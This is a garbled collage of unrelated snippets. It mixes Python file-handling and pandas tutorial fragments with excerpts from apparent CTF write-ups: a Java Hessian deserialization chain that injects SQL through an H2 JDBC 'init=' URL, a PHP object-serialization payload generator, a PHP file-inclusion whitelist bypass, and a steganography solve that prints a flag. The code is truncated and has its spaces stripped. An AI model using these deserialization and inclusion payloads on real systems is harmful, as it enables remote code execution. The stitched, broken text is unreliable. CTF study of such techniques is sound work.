Python has an in-built function called open() to open a file. It takes a minimum of one argument as mentioned in the below syntax. The open method returns a file object which is used to access the write, read and other in-built methods. Syntax: file_object = open(file_name, mode) ...
ArrayOutputStream();Hessian2Outputhessian2Output=newHessian2Output(byteArrayOutputStream);hessian2Output.writeMapBegin(JSONObject.class.getName());hessian2Output.writeObject("whatever");Stringurl=String.format("jdbc:h2:mem:test;init=%s",sql);Settingsetting=newSetting();setting.put("url",url);setti...
<?phpclass Joker{ private $Error; public function __construct(){ $this->Error = new Bigger(); $this->Error->Processing_strings = new Lisa(); }}class Bigger{ public $Processing_strings;}class Lisa{ public $code;}$a = new Joker;echo base64_encode(serialize($a));?> 结果:Tzo1OiJK...
('%s not included in query!'); return; } // get args $args = func_get_args(); array_shift( $args ); $args_is_array = false; if (is_array($args[0]) && count($args) == 1 ) { $args = $args[0]; $args_is_array = true; } $count_format = substr_count($query, '%s...
reverse_easy:rev:70pts taskctf22 (2022/12/03) taskctf22 1948 Points welcome:osint:100pts robots:web:404pts first:web:469pts shellgei:misc:491pts anti_detection:misc:484pts UECTF2022 (2022/11/18) UECTF2022 4625 Points WELCOME:MISC:10pts A file:REV:50pts caesar:MISC:100pts redaction ...
Now that you have pandas imported, you can use the DataFrame constructor and data to create a DataFrame object.data is organized in such a way that the country codes correspond to columns. You can reverse the rows and columns of a DataFrame with the property .T:Python >>> df = pd....
return np.array(res)*255 wm_length = 64*64 pic = cv2.imread('embedded.bmp') count = 0 R = pic[:,:,2] r = infer_dct_svd(R)[:37*37].reshape(37,37) plt.imshow(r) plt.show() flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1} ...
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ReverseBaby_C++1.签到题 shift + F12直接看见flagEz_pyc1.在线网址反编译不全,发现是3.8的python版本,直接使用3.8的uncompyle6反编译出源码2.一个数独游戏可以求解不过观察判断条件,发现如果数独正确输出的flag是正确flag的md5后的值提交一下发现flag就是那个md5 ...
'));if(in_array($_page,$whitelist)){returntrue;}$_page=urldecode($page);$_page=mb_substr($_page,0,mb_strpos($_page.'?','?'));if(in_array($_page,$whitelist)){returntrue;}echo"you can't see it";returnfalse;}}if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])...